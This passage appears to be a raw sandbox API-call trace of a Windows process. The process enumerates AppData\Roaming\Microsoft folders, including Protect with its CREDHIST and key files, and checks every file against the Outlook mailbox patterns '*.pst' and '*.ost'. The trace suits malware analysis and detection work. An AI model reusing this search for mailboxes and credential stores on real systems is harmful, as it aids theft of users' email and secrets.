ftLastAccessTime.dwLowDateTime=0x9177b240, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x9177b240, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.141] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.141] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9177b240, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x9177b240, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x928e3320, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x1440, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Preferences.dat", cAlternateFileName="PREFER~1.DAT")) returned 1 [0098.141] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.141] PathMatchSpecW (pszFile="Preferences.dat", pszSpec="*.pst") returned 0 [0098.141] PathMatchSpecW (pszFile="Preferences.dat", pszSpec="*.ost") returned 0 [0098.141] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9177b240, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x9177b240, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x928e3320, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x1440, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Preferences.dat", cAlternateFileName="PREFER~1.DAT")) returned 0 [0098.141] FindClose (in: hFindFile=0x71ea5c0 | out: hFindFile=0x71ea5c0) returned 1 [0098.141] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9177b240, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x9177b240, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x9177b240, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="16.0", cAlternateFileName="")) returned 0 [0098.141] FindClose (in: hFindFile=0x71e9d80 | out: hFindFile=0x71e9d80) returned 1 [0098.141] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8b417f80, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0x9460a460, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0x9460a460, ftLastWriteTime.dwHighDateTime=0x1d2fb2c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Outlook", cAlternateFileName="")) returned 1 [0098.141] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.141] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Outlook" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Outlook" [0098.141] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Outlook", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Outlook\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Outlook\\*" [0098.141] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8b417f80, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0x9460a460, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0x9460a460, ftLastWriteTime.dwHighDateTime=0x1d2fb2c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9d80 [0098.142] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.142] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8b417f80, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0x9460a460, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0x9460a460, ftLastWriteTime.dwHighDateTime=0x1d2fb2c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.142] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.142] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93fcaaa0, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0x93fcaaa0, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0x9422b100, ftLastWriteTime.dwHighDateTime=0x1d2fb2c, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Outlook.srs", cAlternateFileName="")) returned 1 [0098.142] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.142] PathMatchSpecW (pszFile="Outlook.srs", pszSpec="*.pst") returned 0 [0098.142] PathMatchSpecW (pszFile="Outlook.srs", pszSpec="*.ost") returned 0 [0098.143] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9460a460, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0x9460a460, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0x946305c0, ftLastWriteTime.dwHighDateTime=0x1d2fb2c, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Outlook.xml", cAlternateFileName="")) returned 1 [0098.143] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.143] PathMatchSpecW (pszFile="Outlook.xml", pszSpec="*.pst") returned 0 [0098.143] PathMatchSpecW (pszFile="Outlook.xml", pszSpec="*.ost") returned 0 [0098.143] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9460a460, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0x9460a460, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0x946305c0, ftLastWriteTime.dwHighDateTime=0x1d2fb2c, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Outlook.xml", cAlternateFileName="")) returned 0 [0098.143] FindClose (in: hFindFile=0x71e9d80 | out: hFindFile=0x71e9d80) returned 1 [0098.143] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5fbaf50, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb5fbaf50, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb5fbaf50, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="PowerPoint", cAlternateFileName="POWERP~1")) returned 1 [0098.143] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.143] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="PowerPoint" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\PowerPoint" [0098.143] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\PowerPoint", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*" [0098.143] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5fbaf50, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb5fbaf50, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb5fbaf50, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9d80 [0098.143] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.143] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5fbaf50, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb5fbaf50, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb5fbaf50, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.143] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.143] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5fbaf50, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb5fbaf50, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb5fbaf50, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0098.143] FindClose (in: hFindFile=0x71e9d80 | out: hFindFile=0x71e9d80) returned 1 [0098.143] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcdf2a230, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xcdf2a230, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xcdf2a230, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Proof", cAlternateFileName="")) returned 1 [0098.144] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.144] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Proof" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Proof" [0098.144] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Proof", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Proof\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Proof\\*" [0098.144] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcdf2a230, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xcdf2a230, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xcdf2a230, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9d80 [0098.144] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.145] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcdf2a230, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xcdf2a230, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xcdf2a230, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.145] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.145] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcdf2a230, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xcdf2a230, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xcdf2a230, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0098.145] FindClose (in: hFindFile=0x71e9d80 | out: hFindFile=0x71e9d80) returned 1 [0098.145] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb0e9f060, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0xb0e9f060, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Protect", cAlternateFileName="")) returned 1 [0098.145] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.145] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Protect" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect" [0098.145] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\*" [0098.145] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb0e9f060, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0xb0e9f060, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9d80 [0098.145] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.145] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb0e9f060, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0xb0e9f060, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.145] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.145] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xe167c200, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x0, dwReserved1=0x234120, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0098.145] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.145] PathMatchSpecW (pszFile="CREDHIST", pszSpec="*.pst") returned 0 [0098.145] PathMatchSpecW (pszFile="CREDHIST", pszSpec="*.ost") returned 0 [0098.145] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xb0e9f060, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0xdaf326f0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xdaf326f0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="S-1-5-21-2345716840-1148442690-1481144037-1000", cAlternateFileName="S-1-5-~2")) returned 1 [0098.145] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.145] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect", pszFile="S-1-5-21-2345716840-1148442690-1481144037-1000" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-2345716840-1148442690-1481144037-1000") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-2345716840-1148442690-1481144037-1000" [0098.145] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-2345716840-1148442690-1481144037-1000", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*" [0098.145] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xb0e9f060, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0xdaf326f0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xdaf326f0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea5c0 [0098.146] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.146] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xb0e9f060, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0xdaf326f0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xdaf326f0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.146] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.146] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf312a980, ftCreationTime.dwHighDateTime=0x1d4ae8c, ftLastAccessTime.dwLowDateTime=0xf312a980, ftLastAccessTime.dwHighDateTime=0x1d4ae8c, ftLastWriteTime.dwLowDateTime=0xf312a980, ftLastWriteTime.dwHighDateTime=0x1d4ae8c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x230230, cFileName="0a47cb5c-7ebd-41e4-a80d-9cedb58fc958", cAlternateFileName="0A47CB~1")) returned 1 [0098.146] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.146] PathMatchSpecW (pszFile="0a47cb5c-7ebd-41e4-a80d-9cedb58fc958", pszSpec="*.pst") returned 0 [0098.146] PathMatchSpecW (pszFile="0a47cb5c-7ebd-41e4-a80d-9cedb58fc958", pszSpec="*.ost") returned 0 [0098.146] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xb0f838a0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0xb0f838a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0xb0f838a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x230230, cFileName="1862f3be-4467-4925-a93f-badcfb2203ba", cAlternateFileName="1862F3~1")) returned 1 [0098.146] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.146] PathMatchSpecW (pszFile="1862f3be-4467-4925-a93f-badcfb2203ba", pszSpec="*.pst") returned 0 [0098.146] PathMatchSpecW (pszFile="1862f3be-4467-4925-a93f-badcfb2203ba", pszSpec="*.ost") returned 0 [0098.146] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xdaf326f0, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xdaf326f0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xdaf326f0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x230230, cFileName="5ec2be92-17f1-46ac-abd2-f4b892995350", cAlternateFileName="5EC2BE~1")) returned 1 [0098.146] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.146] PathMatchSpecW (pszFile="5ec2be92-17f1-46ac-abd2-f4b892995350", pszSpec="*.pst") returned 0 [0098.146] PathMatchSpecW (pszFile="5ec2be92-17f1-46ac-abd2-f4b892995350", pszSpec="*.ost") returned 0 [0098.146] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf8ef6920, ftCreationTime.dwHighDateTime=0x1d33849, ftLastAccessTime.dwLowDateTime=0xf8ef6920, ftLastAccessTime.dwHighDateTime=0x1d33849, ftLastWriteTime.dwLowDateTime=0xf8ef6920, ftLastWriteTime.dwHighDateTime=0x1d33849, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x230230, cFileName="8d3ed5bb-9674-4045-8be3-b9270b93e90b", cAlternateFileName="8D3ED5~1")) returned 1 [0098.146] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.146] PathMatchSpecW (pszFile="8d3ed5bb-9674-4045-8be3-b9270b93e90b", pszSpec="*.pst") returned 0 [0098.146] PathMatchSpecW (pszFile="8d3ed5bb-9674-4045-8be3-b9270b93e90b", pszSpec="*.ost") returned 0 [0098.146] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xebb1b360, ftCreationTime.dwHighDateTime=0x1d3ab19, ftLastAccessTime.dwLowDateTime=0xebb1b360, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xebb1b360, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x230230, cFileName="e9d127d6-64ac-4353-96d2-c19aaf9f738b", cAlternateFileName="E9D127~1")) returned 1 [0098.146] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.146] PathMatchSpecW (pszFile="e9d127d6-64ac-4353-96d2-c19aaf9f738b", pszSpec="*.pst") returned 0 [0098.146] PathMatchSpecW (pszFile="e9d127d6-64ac-4353-96d2-c19aaf9f738b", pszSpec="*.ost") returned 0 [0098.146] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xcf632670, ftCreationTime.dwHighDateTime=0x1d42027, ftLastAccessTime.dwLowDateTime=0xcf632670, ftLastAccessTime.dwHighDateTime=0x1d42027, ftLastWriteTime.dwLowDateTime=0xcf632670, ftLastWriteTime.dwHighDateTime=0x1d42027, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x230230, cFileName="fe19e9db-e1d7-447a-8c09-78f69c97903f", cAlternateFileName="FE19E9~1")) returned 1 [0098.146] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.146] PathMatchSpecW (pszFile="fe19e9db-e1d7-447a-8c09-78f69c97903f", pszSpec="*.pst") returned 0 [0098.146] PathMatchSpecW (pszFile="fe19e9db-e1d7-447a-8c09-78f69c97903f", pszSpec="*.ost") returned 0 [0098.146] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xb0ff5cc0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0xb0ff5cc0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0xdaf7e9b0, 